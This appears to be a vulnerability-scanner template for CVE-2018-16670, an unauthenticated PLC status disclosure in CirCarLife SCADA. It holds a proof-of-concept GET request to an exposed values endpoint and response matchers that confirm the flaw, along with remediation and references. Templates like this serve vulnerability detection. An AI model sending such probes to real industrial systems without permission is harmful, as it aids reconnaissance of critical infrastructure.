CirCarLife before 4.3 is susceptible to improper authentication. A PLC status disclosure exists due to lack of authentication for /html/devstat.html. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2018-16670
info:
name: CirCarLife <4.3 - Improper Authentication
author: geeknik
severity: medium
description: CirCarLife before 4.3 is susceptible to improper authentication. A PLC status disclosure exists due to lack of authentication for /html/devstat.html. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
remediation: |
Upgrade CirCarLife to version 4.3 or higher to fix the improper authentication issue.
reference:
- https://www.exploit-db.com/exploits/45384
- https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
- https://www.exploit-db.com/exploits/45384/
- https://nvd.nist.gov/vuln/detail/CVE-2018-16670
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2018-16670
cwe-id: CWE-287
epss-score: 0.49496
epss-percentile: 0.97732
cpe: cpe:2.3:a:circontrol:circarlife_scada:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: circontrol
product: circarlife_scada
tags: cve,cve2018,scada,plc,iot,disclosure,edb,circarlife,circontrol
http:
- method: GET
path:
- "{{BaseURL}}/services/user/values.xml?var=STATUS"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "CirCarLife Scada"
- type: word
part: body
words:
- "<values><variable><id>"
- "Reader.STATUS"
condition: and
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